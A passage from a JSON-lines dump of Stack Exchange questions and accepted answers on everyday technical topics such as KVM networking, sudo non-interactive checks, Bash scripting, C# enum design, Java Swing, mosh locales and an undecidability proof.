netmask='255.255.255.0'>    <dhcp>      <range start='192.168.122.2' end='192.168.122.254'/>    </dhcp>  </ip></network>Here's what I am showing under KVM's Connection Details screens: andHere is the config after starting the Guest (labeled rhel7)Any pointers would be greatly appreciated.  "  , "title": "No network connectivity in KVM guest"  , "tags": "rhel;kvm"  } 
{  "id": "_unix.70665"  , "question": "I'm not sure if sudo supports so, I want to execute a command, only if this command is configured as NOPASSWD, that is, if the command can be run without password, run it; Otherwise quit directly.So far the only option seems to be listing all available commands with sudo -l and parse the output manually, that looked dirty.Are there any alternatives?"  , "title": "Don't execute a command with sudo, unless it's configured as password-free"  , "tags": "sudo"  , "accepted_answer": "Not very pretty, but short of parsing sudo -l as you're doing I don't know an alternative: simply run your command with the -n switch:The -n (non-interactive) option prevents sudo from prompting the user for a password.  If a password is required for the command to run, sudo will display an error message and exit.Example:me$ sudo -l User me may run the following commands on this host:    (ALL) NOPASSWD: /usr/bin/vim    (ALL) /usr/bin/nanome$ sudo -n nano /etc/hostssudo: a password is requiredme$ echo $?1me$ sudo -n vim /etc/hosts# :qme$ echo $?0Problem with this is that you can't tell directly from the exit code if sudo failed because it required a password, or if the command you ran failed. So you'll need to parse the output. (Fortunately the error message is static, so that shouldn't be too hard. Beware of localization though.)"  } 
{  "id": "_softwareengineering.161264"  , "question": "I am taking a networking class(data communication) this coming semester. In many courses in my computer engineering degree, the books lack mathematical content. I am not a math wizard, but I think mathematics has the potential to give a much deeper understanding of different concepts, but it requires more work. Is it a good idea to focus on information theory(found a cool book by a researcher from Bell Labs) and use a more high level book like Computer networking, A top down approach as supplementary text? "  , "title": "How related is coding/information theory to computer networking?"  , "tags": "networking;information"  } 
{  "id": "_unix.80042"  , "question": "I'm running Ubuntu 12.04 LTS on my notebook, and I've got a Motorola Razr which I updated to Android 4.1.2. Before updating, I connected my smartphone to my hotspot wifi very quickly, but after the update it no longer works. Android 4.1.2 can't see the hotspot created by Ubuntu; it sees all other wifi networks and can connect to them, but not mine. What could be wrong?"  , "title": "Ubuntu 12.04 hotspot wifi network not visible to Android 4.1.2"  , "tags": "ubuntu;wifi;android"  } 
{  "id": "_webmaster.10116"  , "question": "This is a recent problem I've been having.My site can be accessed from almost everywhere else except from my home IP, where I do most of my editing/updating, etc. I've tested my connection from my school's network, a friend's connection from out of state (multiple states), and through a tethered connection with my friend's Android. It works in all those cases, both viewing, accessing the cPanel, and using FTP.Here's the problem that happens to me when I try to view it from my home IP:The page times out in Firefox, IE, and Chrome.Using the cmd, I ran tracert and ping, both as failed attempts. Log here.downforeveryoneorjustme.com says my site is up. So do the other site checkers.I can't access my cPanel or FTP accounts.I can't access the host site. (I use perfectz.info for hosting, and I can't access their site either.)System settings:No firewall enabled.Ports are seemingly properly forwarded. (e.g. The ports are open in the router settings, and are open everywhere else.)I have an email forwarder set up from the cPanel that works just fine. (i.e. I can receive emails sent to that address.If any other information is needed, I'll do my best to provide it.UPDATE@ilhan: I use two things:1) The site cPanel from in-browser.2) Dreamweaver CS5 FTP.@Matthias: I tested both, and it passes the dual stack with a 10/10. What should I do then?"  , "title": "Cannot access personal website from home IP. More details inside"  , "tags": "ip address;address"  } 
{  "id": "_webmaster.93615"  , "question": "I am using <meta name=robots content=noindex> for few pages that are not supposed to be displayed in any search results.I know how important is the meta-description tag for SEO.Is it still required for pages that are not indexed?"  , "title": "Is the meta-description tag required when meta-robots is set to noindex?"  , "tags": "seo;noindex;meta description"  } 
{  "id": "_softwareengineering.50554"  , "question": "Today at work one of my colleague reviewed my code,and suggested me to remove set-only property and use method insted.As we both were busy with other stuffs, he told me to look at Property Design section fromFramework Design Guidelines book. In the book writer just asked to avoid Properties with the setter having broder accessibility than the getterAnd now I'm wondering why it is not recommended to have set-only property? Can anyone clarify me, please?"  , "title": "Why it is not recommended to have set-only property?"  , "tags": "design;code quality;code reviews;code smell"  } 
{  "id": "_unix.368944"  , "question": "Recently I noticed we have 3 options to set environment variables:export envVar1=1setenv envVar2=2env envVAr3=3If there are other ways, please enlighten us.When should I prefer one over the other? Please suggest guidelines.As for shell compatibility, which is the most expansive (covers more shell dialects)?I already noticed this answer but I wish to expand the question with env and usage preference guidelines."  , "title": "What is the difference between env, setenv, export and when to use?"  , "tags": "bash;shell;environment variables"  } 
{  "id": "_unix.354691"  , "question": "I have a logfile with 2 distinct events (among others) that I need to capture.Each event generates a separate, dedicated line in the logfile with this format:timestamp  -   PID  -   process  -   event-type  -   event-detailsI don't care much about anything but the event-details column of the file, and the data I'm expecting to receive there, looks like this:Example 1: { values:{ SPEED:7.0 } }Example 2: { values:{ CADENCE:41 } }I've been trying to write a shell script that would only read the last line of the logfile every time, and depending on the contents of the event-details column, redirect the resulting SPEED or CADENCE data to a specific text file (when I say resulting SPEED/CADENCE data I mean the integer after the SPEED: expression for example).So far I was able to redirect the results to two different files, but:I have to tail the logfile twice in order for the script to work and......as a result of that, I have the feeling that the second file is not being updated at the same rate as the first one...as if, for some reason, I was missing some of the CADENCE events due to the order in which the script was written.I tried using the sleep function, and also tried to tail more than one line at a time to try to mitigate the lack of CADENCE update with no luck.I just keep missing CADENCE events from time to time.A note on the logfile behavior: Looking at the log, there are 3 events that appear most of the time, and they are always logged in the same order of appearance (CADENCE, SPEED and OTHER), and from time to time there is a 4rd event. I just wanted to clarify that the missing CADENCE events have nothing to do with that 4rd event appearance.This is a summarized version of the script that I have currently running:#!/bin/bashwhile :do   tail -1 logfile.txt | grep -oP '(?<=SPEED:)[0-9]+' > spd.txt   tail -1 logfile.txt | grep -oP '(?<=CADENCE:)[0-9]+' > cad.txtdone=======UPDATE:=======This is the complete log line and ouput expected:Example of line 1:Input (from logfile.txt):03-16 21:05:28.641 2797-2842/process:Service D/WEBSOCKET: receiving: { values:{ Speed MPH:3.1, Speed KPH:4.9, Miles:0.551, Kilometers:0.886 } }Output (sent to spd.txt):4.9Example of line 2:Input (from logfile.txt):03-16 21:05:29.309 2797-2842/process:Service D/WEBSOCKET: receiving: { values:{ RPM:27 } }Output: (sent to cad.txt):27"  , "title": "Redirecting GREP output to different text files depending on capture content"  , "tags": "grep;io redirection;tail"  , "accepted_answer": "Got it Kamaraj, thanks for the help! it was key to find the right answer:This is the script that what worked for me:tail -1 logfile.txt | awk -F\\:\\ '{for (c=1;c<=NF;c++) {if ($c ~ /Speed KPH/) {print $(c+1)+0 > spd.txt} {if ($c ~ /RPM/) {print $(c+1)+0 > cad.txt}}}}'Had to go back to tail -1 because tail -f was affected by buffering and it would also leave a trail in the txt file with all the values captured. I was only expecting a single line with the most current result in the output text files.Thanks and best regards!"  } 
{  "id": "_unix.188438"  , "question": "How can I use the 7z compression with PPMD algorithm? It produces better compression than the default in 7z. "  , "title": "How to use PPMD with 7z under Linux?"  , "tags": "linux;7z"  } 
{  "id": "_codereview.105978"  , "question": "I've just set up a bit of code to try and make things neater, but all I've really done, is add a whole bunch of nested if statements:public void Copy(Copy copyType){        FrmProjectChooser frm = null;    if (copyType.HasFlag(Copy.Single))    {        if (copyType.HasFlag(Copy.Estimations) && copyType.HasFlag(Copy.SubItems))        {            // Single item, with sub items and estimations            List<WB> items = new List<WB> { (WB)treeWBS.GetDataRecordByNode(treeWBS.FocusedNode) };            items.AddRange(_WBSManager.GetAllChildren(items[0].idWBS));            List<CTREstimation> estimations = new List<CTREstimation>();            foreach (WB wbs in items)                estimations.AddRange(CTREstimationsManager.Instance.GetEstimationsForWBS(wbs.idWBS));            frm = new FrmProjectChooser(items, estimations);        }        else if (copyType.HasFlag(Copy.Estimations))        {            // Single item, with estimations.            WB wbsItem = treeWBS.GetDataRecordByNode(treeWBS.FocusedNode) as WB;            if (wbsItem != null)                frm = new FrmProjectChooser(new List<WB> { wbsItem },                    CTREstimationsManager.Instance.GetEstimationsForWBS(wbsItem.idWBS));        }        else if (copyType.HasFlag(Copy.SubItems))        {            // Single item, with sub items            List<WB> items = new List<WB> { (WB)treeWBS.GetDataRecordByNode(treeWBS.FocusedNode) };            items.AddRange(_WBSManager.GetAllChildren(items[0].idWBS));            frm = new FrmProjectChooser(items);        }        else        {            // Single item            WB wbsItem = treeWBS.GetDataRecordByNode(treeWBS.FocusedNode) as WB;            if (wbsItem != null)                frm = new FrmProjectChooser(new List<WB> {wbsItem});        }    }    else if (copyType.HasFlag(Copy.All))    {        if (copyType.HasFlag(Copy.Estimations))        {            // All items, with estimations.            List<WB> wbsItems = _WBSManager.GetWBSForProject(CurrentProject.idProjects);            List<CTREstimation> estimations = new List<CTREstimation>();            foreach (WB wbs in wbsItems)                estimations.AddRange(CTREstimationsManager.Instance.GetEstimationsForWBS(wbs.idWBS));            frm = new FrmProjectChooser(wbsItems, estimations);        }        else        {            // All items            frm = new FrmProjectChooser(_WBSManager.GetWBSForProject(CurrentProject.idProjects));        }    }    if (frm != null)        frm.ShowDialog();}[Flags]private enum Copy{    None = 0,    Single = 1, // Straight copy of single item    SubItems = 1 << 1, // Include any children in the copy    Estimations = 1 << 2, // Include estimations in the copy    All = 1 << 3 // Copy all items}The code will pull Items from a TreeList. Sub Items are of the same type as Items, but Estimations are a different type. I don't think it's very neat. I've tried googling similar titles to this question but I can't really find anything that helps. Is there anything I can do to make this neater?"  , "title": "Handling Enum flags for a copy operation"  , "tags": "c#;enum"  , "accepted_answer": "This answer is based on what @Matt said. I thought the idea was very good and it could be pushed a step further.Using @Matt's idea, your code wouldn't contain nested ifs, but you still chain ifs. Of course you could use a switch, but you still have the same problem. Lots of code in the same method, and we don't like crowded methods.The solution? (Well.. my solution)A dictionary!Now, I don't know what your doing inside your ifs, which is sad, because I can't help you much further. But it would look like this : //Right now, I assume your method is in an object, so I put the dictionary static, and it will be populated in the static ctor of the object.private static readonly Dictionary<Copy,Action> _mapCopy = new Dictionary<Copy,Action>();static YourObjectWhatever(){    _mapCopy.Add(Copy.All  | Copy.Estimations, CopyAllEstimations);    _mapCopy.Add(Copy.Single | Copy.Estimations, CopySingleEstimations);    //etc...}private static void CopyAllEstimations(){    //Do stuff..}private static void CopySingleEstimations(){    //Do stuff..}public void Copy(Copy copyType){    Action action = null;    if(!_mapCopy.TryGetValue(copyType, out action))        throw new ArgumentException(The copy type doesn't have an associated action);    action();}Now, your logic is separated in multiple methods, which is better but not perfect. If you want to push this even farther (for testability for example), you'd need to implement an interface, let's say ICopyAction (I can't tell more because there's a little lack of context). So now we'd have : public interface ICopyAction{    void Copy(/*I'm guessing you'd have parameters*/);}public class CopyAllEstimations : ICopyAction{    public void Copy()    {        //do stuff    }}//etc...And the usage ://Same assumptionprivate static readonly Dictionary<Copy,ICopyAction> _mapCopy = new Dictionary<Copy,ICopyAction>();static YourObjectWhatever(){    _mapCopy.Add(Copy.All  | Copy.Estimations, new CopyAllEstimations());    //etc...}public void Copy(Copy copyType){    ICopyAction action = null;    if(!_mapCopy.TryGetValue(copyType, out action))        throw new ArgumentException(The copy type doesn't have an associated action);    action.Copy();}This method works as well if you want to have parameters to your method, but I didn't this explanation because I don't know if you need it.."  } 
{  "id": "_datascience.8451"  , "question": "In performing ALS and getting an item matrix of latent features, what would be the best method for inferring the possible meaning of each latent factor in the item space? And as a corollary, are the any methods for successfully visualizing this data to gain some intuition or understanding?  "  , "title": "Visualizing Latent Features"  , "tags": "machine learning;recommender system;visualization"  } 
{  "id": "_cs.43089"  , "question": "Consider the following language: $$ L = \\{ \\langle M \\rangle \\ |\\ M \\text { accepts } w \\text { whenever it accepts } w^R \\}$$I am trying to understand the following proof that this language $L$ is undecidable.The proof proceeds by contradiction, by reducing to $L$ the language  $A_{TM}=\\{\\langle M,w \\rangle\\mid M\\text{ accepts }w\\}$ known to be undecidable. It goes as follows:Suppose that $L$ is decidable, then there's a TM $M_L$, that decides $L$Thus we can build $M_{ATM}$ to decide $A_{TM}$ as follows:Let $\\langle M, w \\rangle$ be an input for $M_{ATM}$.Construct a machine, $M_1$ which on input $x$: Simulate $M$ on $w$; if $M$ rejects $w$, $reject$.  If $M$ accepts $w$, $accept$ if $x=01$, $reject$ otherwise.Simulate $M_L$ on input $\\langle M_1 \\rangle$.$accept$ if $M_L$ rejects. $reject$ otherwise.Since $A_{TM}$ is not decidable, we have a contradiction, which implies that $L$ cannot be decidable.However there is a point of the proof I do not understand.My question is: What happens if $M$ gets into a loop on some $w$?"  , "title": "Reduction and decidability"  , "tags": "formal languages;turing machines;reductions;proof techniques;undecidability"  , "accepted_answer": "In many problems like this, it's often a bad idea to base your construction on both acceptance and rejection. Try rewriting your $M_1$ in this formM1(x) =   simulate M on w   if M accepts w      if x = 01         acceptNow the important thing is that If $M$ accepts $w$ (i.e., if $\\langle M, w\\rangle\\in A_{TM}$) then $L(M_1)=\\{01\\}$.If $M$ fails to accept $w$, either by rejecting or by running forever, then $M_1$ will accept nothing, so $L(M_1)=\\varnothing$Now if $L$ were decidable with decider $M_L$, then you can use the decider and $M_1$ to build a decider, $M_A$, for $A_{TM}$ as you suggested:MA(<M>, w) =    Construct M1 as above   if ML accepts <M1>      reject   else if ML rejects <M1>      acceptNow we have If $M$ accepts $w$, then $L(M_1)=\\{01\\}$ so $M_L$ will reject $M_1$ and hence $M_A$ will accept $\\langle M, w\\rangle$. If $M$ doesn't accept $w$, then $L(M_1)=\\varnothing$  so $M_L$ will accept $M_1$ and hence $M_A$ will reject $\\langle M, w\\rangle$.In short, $M_A$ is indeed a decider for $A_{TM}$, an undecidable language, meaning that $L$ must not be decidable."  } 
{  "id": "_unix.199727"  , "question": "I have a very specific and odd problem to solve. I'm working as a research assistant and I've been producing a ton of figures. In one directory, I dump .pngs to view casually (limited space here) and in the another, I dump .ps and .pdf files to use in latex. It's all automated with matlab. In the .png folder, I've periodically deleted many files I deemed not useful, but the other one is a mess. How can I tell unix to go through the .ps directory, and for each file, search the .png directory for filenames that match, and then, if they don't match, move the file to a different directory (that I will most likely later delete)?Are there any commands that could be useful here?Unfortunately I'm a complete shell scripting noob. "  , "title": "Shell Scripting: Deleting or moving files from one directory that match filenames from another directory"  , "tags": "shell;scripting;directory;filenames"  } 
{  "id": "_computergraphics.2486"  , "question": "I have been studying hardware corporation GPU profilers in recent days (Qualcomm, PowerVR, Intel).  I've noticed that these tools seem to give more low-level details  than the GPU profilers I have used in the past -- XCode's OpenGL ES frame capture and apitrace -- which only listed which OpenGL calls were made and what the state of current resources are.How do I get started if I want to make a low-level tool that displays things like sampler cache misses and shader assembler code?"  , "title": "How to get started writing a low-level GPU profiler?"  , "tags": "gpu"  , "accepted_answer": "For basic GPU timing data, you can use D3D timestamp queries or the equivalent OpenGL timer queries.Any low-level hardware data like cache misses is going to be extremely vendor-specific. Each GPU vendor has its own custom API or extension for giving access to low-level performance data on its hardware. The APIs vary in how they work, and they don't necessarily all expose the same details. The available data may also vary between different chip models within the same vendor, so you probably need to know a bit about how the hardware works to make sense of it.Here are links to the relevant APIs for most of the main GPU vendors.AMD: GPUPerfAPI; see also AMD_performance_monitor Intel: Performance Counter Monitor (note: it's not clear to me whether this includes access to GPU counters, or only CPU ones); see also  INTEL_performance_queryNVIDIA: PerfKitPowerVR: PVRScopeQualcomm: QCOM_performance_monitor_global_mode"  } 
{  "id": "_webapps.95232"  , "question": "I'm having a problem with my Twitter account, it was running smoothly since 2012 but I started to notice (from over a year by now) that my tweets are not showing in the search results as well as the hashtags search not under the (Top tweets, All tweets) when I search for them from another account, however I can see them when I use my own account. To clarify this more MY ACCOUNT IS ACTING AS IF IT WAS PRIVATE, and it's not. I tried to change passwords, deactivation & reactivation but nothing worked & yes I contacted the support multiple times with no reply. So if anyone can help I appreciate it because I don't want to lose my 15k followers by creating a new account."  , "title": "Tweets don't show up in search"  , "tags": "twitter;tweet"  } 
{  "id": "_unix.238262"  , "question": "I'm using Bash 4.I'm trying out a few experiments with Bash.I want to dynamically assign an array to the value of a variable. If you read the code below, it will be easier to understand.myFunc =RESULT_PREF 'bar' 'baz'function myFunc() {    local params    parser params $@}function parser() {    if [ '=' = ${2::1} ]; then        local name=${1}        shift 2        local param_array=( $@ )        # In PHP, I'd do:        # $$name = $param_array        # The ideal outcome:        # $params should contain the values 'bar' and 'baz'.    fi}How do I do what I've mentioned in the comments of my code?I can't seem to do this using eval. Even if I could, I've read so many bad things about eval.Any advice?"  , "title": "Dynamically assign array to value of a variable. Eval?"  , "tags": "bash;shell script"  , "accepted_answer": "myFunc(){    parse $1 &&                          #parse() is a test    eval   shift                          #$1 is a valid, eval-safe name            local name$1 ${1#=}='($@)'  #$1 is expanded before shift}parse()    case ${1#=} in    ($1||[0-9]*|*[!_[:alnum:]]*) ! :   #return false for all invalid names    esacIt does also work without eval given another execution step or two:myFunc(){    local -a name$1[@] ${1#=}='(${@:2})' &&    [ -z ${1%=*} ] && printf %s\\\\n ${!name}}In that case I just allow the local builtin to do all of the validation and assignment at once. Basically, if the local command can assign ${1#=}=(${@#$1}) successfully and ${1%=*} is null then you know the assignment has taken place successfully. Any syntax error - such as bad shell names - will automatically fail and return with error during the local assignment, and the simple validation [ test ] which follows is all that is necessary to ensure that you don't accidentally do local name=morename=(${@#$1}).The natural upshot to this is that when a bad name is passed in as =$1 the shell will automatically print out a meaningful error message to stderr for you and do all of the error handling automatically with no fuss.Like this:myFunc =goodname 1 2 3 'and some     ;more' &&myFunc =bad-name 1 2 3 'and some     ;more'123and some     ;morebash: local: `bad-name=(${@:2})': not a valid identifierNote that doing functionname(){list;} is almost definitely not what you mean to do. If you intend to localize the function's traps and similar you need functionname{list;}. If you intend to share all state but your locally defined variables with the current shell then functionname(){list;} or name()list are equivalent because the function keyword is ignored by the shell (except that some shells which implement it tend to parse the following list incorrectly if it is not contained in curly braces) when name is followed by ()."  } 
{  "id": "_webapps.105871"  , "question": "When I have multiple reminders in one day in Google Calendar, they are grouped in a very unhelpful way:Is there a way to ungroup the reminders list so that I can see all the reminders concurrently?"  , "title": "Show all reminders in Google Calendar, without grouping"  , "tags": "google calendar reminders"  } 
{  "id": "_unix.45961"  , "question": "recently starting trying to use VIM as my full-time text editor since I spent a lot of time SSH'ed anyways. Recently installed NERDTree so I can quickly swap between files in a project.Easy question that I can't seem to find on Google (perhaps not using the right terminology) - how do I easily switch focus between the two buffers when using NERDTree? Meaning how can I go from browsing the directory on the left to browsing the file on the right easily?Thanks."  , "title": "Switching between split buffers in vim"  , "tags": "vim;buffer"  } 
{  "id": "_codereview.106034"  , "question": "Three days ago I wrote about a Java Dice Roller I wrote. I've now added a GUI to that program. Here it is:DiceRollerGUI.java:package com.egroegnosbig.dicerollergui;import java.awt.*;import java.awt.event.*;import javax.swing.*;public class DiceRollerGUI {    static JFrame frameOne = new JFrame(Dice Roller);    public static void main(String[] args) {        frameOne.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);        DiceGUI GUI = new DiceGUI();        frameOne.add(GUI);        Button b = new Button(Roll);        b.addActionListener(new ButtonAction());        frameOne.add(b);        frameOne.setLayout(new GridLayout(1, 2));        frameOne.setSize(400, 250);        frameOne.setResizable(false);        frameOne.setVisible(true);    }}class ButtonAction implements ActionListener {    @Override    public void actionPerformed(ActionEvent e) {        DiceRollerGUI.frameOne.setVisible(false);        JFrame frameTwo = new JFrame(Dice Roller);        frameTwo.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);        frameTwo.setSize(400, 250);        frameTwo.setResizable(false);        ResultGUI resultGUI = new ResultGUI();        frameTwo.add(resultGUI);        frameTwo.setVisible(true);    }}DiceGUI.java:package com.egroegnosbig.dicerollergui;import java.awt.*;import javax.swing.*;public class DiceGUI extends JPanel {    @Override    public void paintComponent(Graphics g) {        super.paintComponent(g);        this.setBackground(Color.WHITE);        g.drawString(Dice Roller, 70, 20);    }}ResultGUI.java:package com.egroegnosbig.dicerollergui;import java.awt.*;import javax.swing.*;public class ResultGUI extends JPanel {    @Override    public void paintComponent(Graphics g) {        super.paintComponent(g);        this.setBackground(Color.WHITE);        Dice dice = new Dice(6);        int resultInt = dice.roll();        StringBuilder sb = new StringBuilder();        sb.append();        sb.append(resultInt);        String result = sb.toString();        g.drawString(The dice rolled a, 150, 125);        g.drawString(result, 243, 125);    }}Dice.java:package com.egroegnosbig.dicerollergui;import java.util.Random;public class Dice {    private final Random rand;    private final int faces;    public Dice(int faces) {        this.rand = new Random();        this.faces = faces;    }    public int roll() {        return rand.nextInt(faces) + 1;    }}Working on better class names..."  , "title": "Java Dice Roller with GUI"  , "tags": "java;random;swing;dice;awt"  , "accepted_answer": "Rather than swapping out the entire JFrame for another on the button click, you should simply be updating the contents.  This is all very overwrought.  I think all you really need is a panel with a button and a label.  Click the button, and display the results in the label.Related to the above, rather than overriding paint, you should be using a layout and adding subcomponents.To get you started:public class DicePanel extends JPanel {  private final Dice dice;  private JButton rollButton;  private JLabel displayLabel;  public DicePanel(Dice dice) {    this.dice = dice;    rollButton = new JButton(Roll);    displayLabel = new JLabel();    rollButton.addActionListener(e ->      displayLabel.setText(You rolled a:  + dice.roll())    );    // or if you're not using Java 8, you can do the more verbose thing.    // not specifying a layout defaults to a flow layout.  Set a layout via:    // setLayout(new BorderLayout()); // or whatever    add(rollButton);    add(displayLabel);  }}Your program should just create a Dice, create a DicePanel with that, and stick it in a JFrame and show it.  Then play around with layouts to get something you like."  } 
{  "id": "_webmaster.303"  , "question": "The goal is to make embedded youtube videos appear in video search results as part of my website.I searched very extensively how to do this; I found through google some articles that claim that it's possible, but they are old and that method no longer works. Youtube seems to have intentionally changed their website to prevent other people from including their videos in external sitemaps.To create the sitemap I would need two things:The URL of YouTube's flash player. This should be easy enough.This is the hard part: the URL of the .flv of the video. For http://www.youtube.com/watch?v=cE88ZYstEHc it is http://www.youtube.com/get_video?video_id=cE88ZYstEHc&t=vjVQa1PpcFMQCaCarYkjDrCDJyqOQ_cXrG5ulMRoDY8= . The t which is the tricky part. How can I obtain it?Also, am I doing something unethical? If I manage to do this will google and/or youtube be annoyed at me? The YouTube videos are mine."  , "title": "Is there a way to add embedded youtube videos to my website sitemap?"  , "tags": "seo;google;sitemap;video;youtube"  , "accepted_answer": "According to the Protocol site: Sitemap file location:Note that this means that all URLs  listed in the Sitemap must use the  same protocol (http, in this example)  and reside on the same host as the  Sitemap. For instance, if the Sitemap  is located at  http://www.example.com/sitemap.xml,  it can't include URLs from  http://subdomain.example.com.URLs that are not considered valid are  dropped from further consideration. It  is strongly recommended that you place  your Sitemap at the root directory of  your web server. For example, if your  web server is at example.com, then  your Sitemap index file would be at  http://example.com/sitemap.xml. In  certain cases, you may need to produce  different Sitemaps for different paths  (e.g., if security permissions in your  organization compartmentalize write  access to different directories).Also: Sitemaps & Cross SubmitsTo submit Sitemaps for multiple hosts  from a single host, you need to  prove ownership of the host(s) for  which URLs are being submitted in a  Sitemap.Any YouTube urls you add to your sitemap will be considered invalid."  } 
{  "id": "_unix.280796"  , "question": "I am trying to connect from my Gentoo to RHEL server. Both have mosh installed, however I get this error:petanb@localhost ~/Documents $ mosh root@server mosh-server needs a UTF-8 native locale to run.Unfortunately, the local environment ([no charset variables]) specifiesthe character set US-ASCII,The client-supplied environment ([no charset variables]) specifiesthe character set US-ASCII.LANG=LC_CTYPE=POSIXLC_NUMERIC=POSIXLC_TIME=POSIXLC_COLLATE=POSIXLC_MONETARY=POSIXLC_MESSAGES=POSIXLC_PAPER=POSIXLC_NAME=POSIXLC_ADDRESS=POSIXLC_TELEPHONE=POSIXLC_MEASUREMENT=POSIXLC_IDENTIFICATION=POSIXLC_ALL=Connection to server closed./usr/bin/mosh: Did not find mosh server startup message.On RHEL I have following locales:# localeLANG=en_US.UTF-8LC_CTYPE=en_US.UTF-8LC_NUMERIC=en_US.UTF-8LC_TIME=en_US.UTF-8LC_COLLATE=en_US.UTF-8LC_MONETARY=en_US.UTF-8LC_MESSAGES=en_US.UTF-8LC_PAPER=en_US.UTF-8LC_NAME=en_US.UTF-8LC_ADDRESS=en_US.UTF-8LC_TELEPHONE=en_US.UTF-8LC_MEASUREMENT=en_US.UTF-8LC_IDENTIFICATION=en_US.UTF-8LC_ALL=How can I fix this?UPDATE: The problem seem to be on Gentoo side, connecting to debian server produces same error, connecting using other distros works.UPDATE2: I fixed it by addingLANG=en_US.UTF-8export LANGinto ~/.bashrc"  , "title": "mosh-server needs a UTF-8 native locale to run"  , "tags": "ssh;gentoo;mosh"  } 
{  "id": "_softwareengineering.293602"  , "question": "As a simple demonstration of the efficiency of Haskell style, I thoughtlessly ran the following:take 100 [(a, b, c) | a <- [1..], b <- [1..], c <- [1..], a^2 + b^2 == c^2]This should be a way of deriving the first 100 Pythagorean triples, with duplicates. In practice however, it never halts, because the algorithm itself defies lazy evaluation.To think about it in terms of actual implementation, the following should be something similar to how the list comprehension is actually evaluated, in an imperative style:results = []for (a = 0; a < ; a++) {  for (b = 0; b < ; b++) {    for (c = 0; c < ; c++) {      if (a^2 + b^2 == c^2) {        results[] = [a, b, c]      }    }      }}When written like this, it becomes obvious that the function can never yield results, because infinite time will be spent testing whether 1^2 + 1^1 == c^2, as only the innermost for loop will advance, and a and b will remain '1'.The common solution in this particular case is to constrain the values of the smallest two variables to that of the largest:take 100 [(a, b, c) | c <- [1..],a <- [1..c], b <- [1..c],a^2 + b^2 == c^2]However, this seems like an obvious oversight for implementors of the language. When you think about it, any list comprehension with more than one infinite source of search space will never halt, for the same reason, except some will yield useful results when (1, 1, x) is useful. There are questions discussing this problem, but most discuss specific cases, rather than the problem overall. Why isn't fixing this within the language with a different iteration pattern trivial? "  , "title": "Why don't multi-infinite list comprehensions work with lazy evaluation?"  , "tags": "functional programming;haskell;complexity"  } 
{  "id": "_codereview.7593"  , "question": "This is a subtle question about design in which I want to find the most elegant and appropriate solution. I have an enumeration representing a French card deck (see code below). With it I need to do certain things, such as displaying the elements in a table. I'll want to display the elements starting with ACE (the highest) down to deuce. The problem is that I don't want my UI part of the code to know which one is the highest and use a descending iterator. Should I have a method in my enumeration, something like EnumSet descending() ? I don't want to initialise the constants with integers that indicates their values, since in poker the cards don't have a numerical value per se, just an order. Probably it's just fine if users of this enum are supposed to know that an ACE has the highest value and display values accordingly to what they want, but just wondering if there is a better solution.public enum Rank {    DEUCE (2),     THREE (3),     FOUR (4),     FIVE (5),     SIX (6),     SEVEN (7),     EIGHT (8),     NINE (9),     TEN (10),     JACK (J),     QUEEN (Q),     KING (K),     ACE (A);    private String symbol;    Rank (String symbol ) {        this.symbol = symbol;    }    /**     * Returns a string representation of this rank which is the full name      * where the first letter is capitalised and the rest are lowercase     */    @Override public String toString () {        //only capitalize the first letter        String s = super.toString();        return s.substring (0, 1).toUpperCase() + s.substring(1).toLowerCase();    }    public String getSymbol () {        return this.symbol;    }}"  , "title": "Should I design my enumeration in some way that indicates what the highest value is?"  , "tags": "java;playing cards;enum"  } 
{  "id": "_webapps.89998"  , "question": "The only emoji command I can find is https://api.slack.com/methods/emoji.listIs there a way to programatically create custom emoji? Or is the only way via manual process - https://get.slack.help/hc/en-us/articles/206870177-Creating-custom-emoji"  , "title": "Can a Slackbot create emoji?"  , "tags": "slack;bot"  } 
{  "id": "_webmaster.74347"  , "question": "I want to publish some case studies from my customers on my website. Each case study will have real numbers about website traffic. I will also publish website screenshot. Do you think it is enough to get permission by e-mail? "  , "title": "Is it enough to get permission by e-mail to show customer case study on website?"  , "tags": "legal;permissions"  } 
{  "id": "_scicomp.4714"  , "question": "I have a symmetric positive semidefinite covariance matrix $A$, which is approximately computed as the output of a quadratic regression. I then need to invert $A$, but often it is close to singular. I've reduced the problem by using scaling. That is, I create a diagonal matrix $D$, with elements $D_{ii} = 1/\\sqrt{A_{ii}}$. Then$A^{-1} = D(DAD)^{-1}D$Where $DAD$ has a lower conditioning number then $A$. Unfortunately in some iterations this is not enough. The size of $A$ is quite small, say maximum $50 \\times 50$. I need the inverse of $A$ because I have to use it in a long calculation, where terms such as $x^TA^{-1}x$ and $A^{-1}B$ appear lots for time. Also: $A^{-1}$ represents a covariance matrix, so it has to be symmetric and positive definite. Is there some better way to make $A$ invertible?"  , "title": "Imposing invertibility on a Matrix"  , "tags": "linear algebra;matrices;condition number;numerical"  } 
{  "id": "_unix.226951"  , "question": "I created tar archive using following command:tar -zcvf archive-name.tar.gz directory-nameAfter this operation, where that tar.gz is located?"  , "title": "What is the default path of newly created tar archive?"  , "tags": "linux;tar"  , "accepted_answer": "The file is created in place where you executed the script. You can see your current location using pwd.However, you can also pass path instead of archive-name:tar -zcvf /my/absolute/path/archive-name.tar.gz directory-nameFile will be located in /my/absolute/path.You can also use relative path, if the directory is there:tar -zcvf relative/path/to/pwd/archive-name.tar.gz directory-name"  } 
{  "id": "_codereview.112968"  , "question": "I just started to learn programming, going through a lot of different tutorials, trying out different programming languages and I stumble in the same sort of questions all over the place. I give you an simple egg timer in bash I use for cooking.#!/bin/bash### varibalesmin=$1sec=$2message=$3### runtimer=$(($min * 60 + $sec))for i in $(seq 0 $timer)do remain=$(( $timer - $i ))echo -ne   $(($remain / 60)):$(($remain % 60))  \\rsleep 1doneecho -ne                                   \\recho $messageafplay ~/alarm.mp3This egg timer is very simple and therefore usually reliable. I use it for cooking. Yet, when I imagine doing it on a grander scale, there would be so many questions, that are neglectable in such a small application. But I am not sure if they would stay neglectable.Is it a good idea to keep the additional variable timer in there? It helps readability, but wouldn't that hold another variable in my RAM? Shouldn't I better forget about readability and directly calculate it in the echo command. Same goes with the variables set for min, sec and message. Those variables are basically doubled for readability alone. I could directly use them in the script. Using sleep to count down time. As far as I know, things like sleep, wait and pause can be off when the CPU is under heavy usage. Something probably to consider for scripts on my old raspberry, that only has one core. Shouldn't I first calculate the time of the alarm and then use my system time to calculate the time left? Should it do that in every iteration of the loop, that has to comes at least every second or should I only do it every minute or hour?If I check it with system time, should I rather put the checks in interlapping loops than add an if check? Feels like an interlapping loop would take less processing power than use if checks every time it 